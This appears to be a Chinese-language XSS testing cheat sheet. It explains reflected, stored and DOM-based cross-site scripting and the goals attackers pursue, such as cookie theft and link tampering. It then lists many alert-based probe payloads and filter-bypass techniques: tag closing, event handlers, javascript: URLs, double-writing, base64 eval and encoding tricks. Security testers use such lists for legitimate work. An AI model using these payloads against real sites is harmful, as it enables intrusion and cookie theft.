XSS檢測總結

XSS漏洞介紹

    跨站腳本XSS是一種針對網站應用程序的安全漏洞攻擊技術。惡意攻擊者往web頁面插入惡意的Script代碼,當用於瀏覽該頁時,嵌入web中的惡意代碼就會被執行,從而達到惡意攻擊用戶的目的。惡意用戶利用XSS代碼攻擊成功後,可能會得到很高的權限,進而進行一些非法操作。

XSS攻擊需要了解什麼

1.獲取管理員的cookie信息、篡改網頁的鏈接
2.存儲型XSS,將惡意代碼存放在服務端,正常用戶訪問,惡意代碼也會獲取用戶的cookie
檢測測是否存在XSS的方法:將該語句發給服務器:,如果服務器端沒有進行過濾,服務器就會返回給客戶端,則服務器端存在XSS漏洞。主要就是看服務器端給客戶端的響應。(使用burp抓包response)
3.發生位置:留言板、評論、搜索
4.分類:反射型XSS(需要發給客戶,客戶點擊鏈接才會觸發)、存儲型XSS(危害嚴重)、Dom型(特殊的反射型,也需要客戶點擊鏈接才會觸發)
5.改鏈接(用來引流),改cookie(用來提權)

XSS檢測總結

常用XSS檢測

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

直接檢測

<script>alert('hi')</script>
<script>alert(document.domain)</script>

閉合<input>標籤

"><script>alert(document.domain)</script>
"/><script>alert(document.domain)</script>

閉合選擇框,burp抓包修改

</option><script>alert(document.domain)</script>

存在隱藏提交項,burp抓包修改

隱藏項目名"><script>alert(document.domain)</script>

或者使用svg onload事件觸發JS代碼

隱藏項目名"><svg onload=alert(document.domain)>%0a

限制maxlength的數值

maxlength="1000000"

<script>被轉義,使用html事件處理器

xss" onclick="alert(document.domain)"/>
xss" onmouseover="alert(document.domain)"/>

使用JavaScript偽協議

<a href="javascript:alert(document.domain)">
如果不想讓鏈接執行<a href="javascript:void(0)">javascript:alert(document.domain)

雙寫繞過(或者多寫)

"><script>alert(document.dodomainmain)</script>
"><script>alert(eval('document.do'+'main'))</script>

編碼繞過

"><script>eval(atob('xxxx'))</script>

其中,xxx是alert(document.domain)的base64編碼,atob的作用是把base64解碼

偽協議繞過

"><a href="javascript:alert(document.domain)">xss</a>
"><iframe src="javascript:alert(document.domain)">xss</iframe>

空格繞過

"><a href="javascr     ipt:alert(document.domain)">xss</a>"><a

IE瀏覽器特性繞過

IE中兩個反引號“可以閉合一個左邊的引號

``onclick=alert(document.domain)

雙斜杠16進制繞過、雙斜杠unicode繞過

    將被過濾的字符進行不同編碼,一次或者多次進行繞過

注意

    在使用XSS編碼測試時,需要考慮HTML渲染的順序,特別是針對多種編碼組合時,要選擇合適的編碼方式進行繞過。

Tags: